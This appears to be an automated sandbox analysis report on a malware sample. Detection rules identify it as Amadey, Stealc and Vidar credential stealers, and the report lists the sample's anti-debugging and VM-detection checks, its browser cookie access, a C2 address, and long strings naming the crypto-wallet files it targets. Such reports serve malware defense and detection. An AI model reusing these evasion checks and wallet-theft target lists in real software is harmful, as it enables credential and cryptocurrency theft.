Source: firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559875741.0000020BC8810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Gu4f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_C
Source: firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA\|
Source: Web Data.31.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.31.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Web Data.31.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: Web Data.31.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\h
Source: Web Data.31.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.31.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.31.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Web Data.31.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.31.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: explorti.exe, explorti.exe, 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE'
Source: Web Data.31.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'8
Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF2DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWBg
Source: firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
Source: cda9e1cbbc.exe, 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.31.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.31.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Web Data.31.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: cda9e1cbbc.exe, 00000025.00000002.2534669785.000000000263E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWN
Source: e0dbbf79bf.exe, 0000002B.00000002.2327638958.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&225630d-b6bf-11d0-94f2-00a0c91efb8b}\N
Source: Web Data.31.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: JGKjBsQrMc.exe, 00000001.00000002.1318555638.00000000006B3000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000006.00000002.1371466246.0000000001083000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000007.00000002.1372752118.0000000001083000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.31.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-82127
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-82141
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-83305
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-82130
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-82149
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-82148
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-81969
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	API call chain: ExitProcess graph end node	graph_19-82170

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

Code function: 1_2_04C40D4F rdtsc

1_2_04C40D4F

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

19_2_0041ACFA

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_00404610 VirtualProtect ?,00000004,00000100,00000000

19_2_00404610

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

19_2_004195E0

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00ED645B mov eax, dword ptr fs:[00000030h]	17_2_00ED645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EDA1C2 mov eax, dword ptr fs:[00000030h]	17_2_00EDA1C2
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00419160 mov eax, dword ptr fs:[00000030h]	19_2_00419160

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

19_2_00405000

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0041C8D9 SetUnhandledExceptionFilter,	19_2_0041C8D9
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_0041ACFA
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_0041A718
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAEB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_6CAEB66C
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAEB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_6CAEB1F7
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC9AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_6CC9AC62

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cda9e1cbbc.exe PID: 5332, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

19_2_004190A0

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"

Source: explorti.exe, explorti.exe, 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: GProgram Manager
Source: firefox.exe, 0000001C.00000002.2542512575.000000A3457EB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman$

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 17_2_00EBD312 cpuid

17_2_00EBD312

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

19_2_00417630

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\1000003002\e0dbbf79bf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\1000003002\e0dbbf79bf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 17_2_00EBCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

17_2_00EBCB1A

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

19_2_004172F0

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

19_2_004174D0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.explorti.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.explorti.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.explorti.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGKjBsQrMc.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1318379606.00000000004D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1275086044.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1372649130.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1320945755.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1317907392.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2059650940.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1359759408.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cda9e1cbbc.exe PID: 5332, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: cda9e1cbbc.exe	String found in binary or memory: \jaxx\Local Storage\
Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe	String found in binary or memory: passphrase.json
Source: cda9e1cbbc.exe	String found in binary or memory: \jaxx\Local Storage\
Source: cda9e1cbbc.exe	String found in binary or memory: \Ethereum\
Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\.finger-print.fp
Source: cda9e1cbbc.exe	String found in binary or memory: Ethereum
Source: cda9e1cbbc.exe	String found in binary or memory: file__0.localstorage
Source: cda9e1cbbc.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: cda9e1cbbc.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: cda9e1cbbc.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: cda9e1cbbc.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
